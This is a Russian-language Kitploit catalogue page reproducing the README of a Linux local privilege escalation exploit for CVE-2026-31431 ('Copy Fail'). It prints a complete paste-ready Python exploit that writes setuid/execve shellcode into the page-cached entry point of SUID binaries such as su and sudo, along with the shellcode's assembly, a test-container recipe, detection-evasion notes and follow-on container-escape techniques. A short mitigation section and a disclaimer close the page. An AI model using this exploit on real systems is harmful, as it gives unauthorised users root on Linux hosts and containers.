Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Copy Fail — Универсальный LPE-эксплойт. Динамическое смещение ELF + полная перезапись бинарного файла, совместим с Python 2/3 с запасным вариантом splice через ctypes | Kitploit
Инструменты/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Повышение привилегийБезопасность контейнеровФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Copy Fail — Универсальный LPE-эксплойт. Динамическое смещение ELF + полная перезапись бинарного файла, совместим с Python 2/3 с запасным вариантом splice через ctypes

Репозиторий
57133 месяцев назадПроверено Kitploit

CVE-2026-31431 «Copy Fail» — универсальный LPE-эксплойт

Произвольная запись 4 байт в page cache ядра Linux → локальное повышение привилегий

Несколько подходов к эксплуатации: перезапись динамической точки входа ELF, полная замена бинарного файла, совместимость с Python 3.x с запасным вариантом splice через ctypes.

Что это?

CVE-2026-31431 — уязвимость в подсистеме криптографии AF_ALG ядра Linux. Злоупотребляя splice() + дешифрованием на месте authencesn, непривилегированный пользователь может записать 4 байта по произвольному смещению в page cache ядра — тот же кэш, который используется для всей памяти, отображаемой из файлов.

Это означает:

  • Нет гонок — однопоточный, детерминированный
  • Нет особых привилегий — работает внутри стандартных Docker-контейнеров (seccomp разрешает AF_ALG)
  • Нет зависимости от версии ядра — затрагивает все ядра с 2017 года по настоящее время
  • Изменяет файлы только в памяти — диск не затрагивается, перезагрузка стирает все следы

Подходы к эксплуатации

В этом репозитории представлены три инструмента, использующих один и тот же примитив copy-fall на основе AF_ALG:

Динамическая точка входа — анализирует заголовок ELF во время выполнения для вычисления файлового смещения точки входа (p_offset + (e_entry - p_vaddr)), затем записывает небольшой шеллкод-стаб. Никаких жёстко заданных смещений — один скрипт работает с любым SUID-бинарником x86_64 независимо от дистрибутива или версии.

Полная замена бинарного файла — перезаписывает цель со смещения 0 полностью готовой ELF-нагрузкой (сжатой zlib и встроенной в скрипт). Может нацеливаться на не-SUID бинарники, выполняемые привилегированными процессами (cron-задания, systemd-сервисы, kube-proxy). Работает с Python 2.

Проверка уязвимости — проверяет, доступны ли на целевой системе AF_ALG, authencesn и algif_aead, перед запуском эксплойта.

Быстрый старт

Предварительные требования

  • Ядро Linux (любая версия примерно с 2017 года)
  • Python 3.x (для exploit.py; Python 2 поддерживается через poc_compatible.py)
  • Любой SUID-root бинарник (/usr/bin/su, /usr/bin/sudo и т.д.)

Воспроизведение одной командой

root@kitploit:~
# Создайте тестовый контейнер с непривилегированным пользователем
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Затем внутри контейнера под пользователем testuser:

root@kitploit:~
# До: setuid(0) завершается ошибкой, потому что реальный uid не равен 0
/usr/local/bin/verify
# uid=1000 euid=0
# (завершается нормально, root не получен)

# Запустите эксплойт
python3 exploit.py /usr/local/bin/verify

# После: точка входа перезаписана, шеллкод получает root
# uid=0(root) gid=1000(testuser)

Одной командой (без передачи файлов)

В реальных сценариях у вас часто есть только «голая» оболочка — ни scp, ни curl, ни wget. Этот метод использует heredoc через cat для записи эксплойта прямо в терминале:

root@kitploit:~
# Вариант 1: запустите shell-скрипт
sh exploit-one-liner.sh /usr/local/bin/verify

# Вариант 2: вставьте прямо в терминал (скопируйте весь блок)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Почему это важно: В контейнерных средах часто отсутствуют инструменты передачи файлов (scp, curl, wget). Метод heredoc требует только cat и python3 — доступные везде.

Нацеливание на другие SUID-бинарники

Вы можете заменить /usr/local/bin/verify на любой SUID-root бинарник:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Предупреждение: Нацеливание на системные SUID-бинарники (например, /usr/bin/su) затрагивает всех пользователей системы. Бинарник становится непригодным до очистки page cache. На хост-машине любой пользователь, запускающий su, получит root-оболочку.

В общей/производственной системе это сразу заметно — su будет падать или порождать неожиданные оболочки для всех. Используйте verify.c для безопасного тестирования.

Восстановление

Эксплойт изменяет только page cache (память), а не диск. Варианты восстановления:

root@kitploit:~
# На хосте (после тестирования в контейнере):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Проверка восстановления:
xxd -l 8 /usr/bin/su
# Должно показать: 7f45 4c46 (.ELF)

Примечание: Внутри стандартного (непривилегированного) контейнера echo 3 > /proc/sys/vm/drop_caches завершается ошибкой Read-only file system — для этого требуется доступ к хосту или уничтожение контейнера.

Поверхность атаки

Как это работает

Уязвимость

В алгоритме AEAD authencesn ядра есть ошибка в пути дешифрования на месте:

  1. Пользователь создаёт сокет AF_ALG с authencesn(hmac(sha256), cbc(aes))
  2. Пользователь вызывает splice() для подачи данных файла в крипто-сокет — это отображает страницы page cache напрямую в scatterlist ядра
  3. Во время дешифрования authencesn записывает 4 байта seqno_lo после тега аутентификации
  4. Управляя длиной ассоциированных данных и раскладкой IV, атакующий контролирует, куда попадают эти 4 байта

Результат: произвольная запись 4 байт в любой файл, находящийся в page cache.

Эксплойт

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  ELF-бинарник (/usr/bin/su)                         │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← анализируется динамически │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← вычисленное файловое смещение
│          │ orig code │                               │
│          │           │  ─── записи copy fall ───→   │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

Когда ядро загружает SUID-бинарник, оно устанавливает euid=0, затем переходит к точке входа.
Точка входа теперь — наш шеллкод → setuid(0) успешен → root-оболочка.

Шеллкод

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; нулевой терминатор
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; имя файла
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 байт, 9 записей copy-fall (по 4 байта каждая).

Почему это важно

Безопасность контейнеров

Стандартные Docker-контейнеры не защищены от этого:

ЗащитаСтатус
Seccomp✅ AF_ALG разрешён по умолчанию
User namespaces❌ Не используются в стандартном Docker
AppArmor/SELinux❌ Не ограничивают AF_ALG
Сброс capabilities❌ Особые capabilities не требуются

Единственное, что мешает побегу из контейнера, — изоляция page cache на точку монтирования overlayfs. Но как только у вас есть root внутри контейнера, применяются стандартные техники побега (cgroup release_agent, docker.sock, serviceaccount-токены K8s, метаданные облака).

Сложность обнаружения

  • Диск никогда не изменяется — записи в page cache только в памяти
  • Новые файлы не создаются — эксплойт — это один Python-скрипт
  • Модуль ядра не загружается — чистое злоупотребление системными вызовами
  • Перезагрузка стирает все улики — page cache энергозависим

Затронутые системы

Каждое ядро Linux с момента преобразования algif_aead на месте (включено примерно в 2017 году), включая:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Docker-контейнеры (профиль seccomp по умолчанию)
  • Pod'ы Kubernetes (конфигурации по умолчанию)
  • WSL2 (подтверждено)

Структура файлов

root@kitploit:~
.
├── exploit.py              # Перезапись динамической точки входа ELF (Python 3.x)
├── exploit-one-liner.sh    # Версия для вставки (без передачи файлов)
├── poc_compatible.py       # Полная перезапись ELF-бинарника со смещения 0 (Python 2/3, автор h4ppy7ree)
├── poc_ctypes.py           # splice через ctypes для Python 3.0-3.9 (автор h4ppy7ree)
├── check_cve.sh            # Проверка уязвимости (автор h4ppy7ree)
├── verify/
│   └── verify.c            # SUID-программа для проверки тестирования
└── README.md               # Этот файл

Защита

  • Примените патч ядра — исправление доступно в апстриме
  • Seccomp: Заблокируйте домен AF_ALG (socket(AF_ALG, ...) → errno)
  • AppArmor: Запретите создание сокетов af_alg
  • Усиление ядра: CONFIG_CRYPTO_USER_API_AEAD=n
  • Мониторинг: Аудит системных вызовов socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)

Благодарности

  • Обнаружение уязвимости: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • Динамическое вычисление смещения и универсальный эксплойт: Эта работа
  • Подход с полной заменой бинарника и проверка уязвимости: h4ppy7ree (PR #1)

Отказ от ответственности

Этот эксплойт предоставлен только для авторизованных исследований в области безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.

Лицензия

MIT

Скачать инструмент
Динамическая точка входаПолная замена бинарного файлаПроверка уязвимости
Файлexploit.pypoc_compatible.pycheck_cve.sh
СтратегияПерезаписывает точку входа ELF шеллкодомЗаменяет весь бинарный файл со смещения 0Проверяет, уязвима ли цель
ЦельЛюбой SUID-бинарник x86_64Любой бинарник (SUID или нет)Н/Д
Python3.x (все версии)2 / 3Bash
Полезная нагрузкаШеллкод 36 байтПолный ELF, сжатый zlibН/Д
АвторЭта работаh4ppy7reeh4ppy7ree
МетодГдеКоманда
Сброс page cacheХост (root)echo 3 > /proc/sys/vm/drop_caches
ПерезагрузкаГде угодноreboot — page cache энергозависим
Уничтожение контейнераГде угодноdocker rm — page cache освобождается вместе с контейнером
ВекторРаботает?Подробности
LPE (локальный пользователь → root)✅ ДаПерезапись точки входа SUID-бинарника
Побег из контейнера (по умолчанию)❌ НетИзоляция page cache на точку монтирования overlayfs
Побег из контейнера (запись с хоста)✅ ДаЗапись через /proc/PID/root/ с хоста
Межконтейнерный (запись с хоста)✅ ДаТот же inode → общий page cache нижнего слоя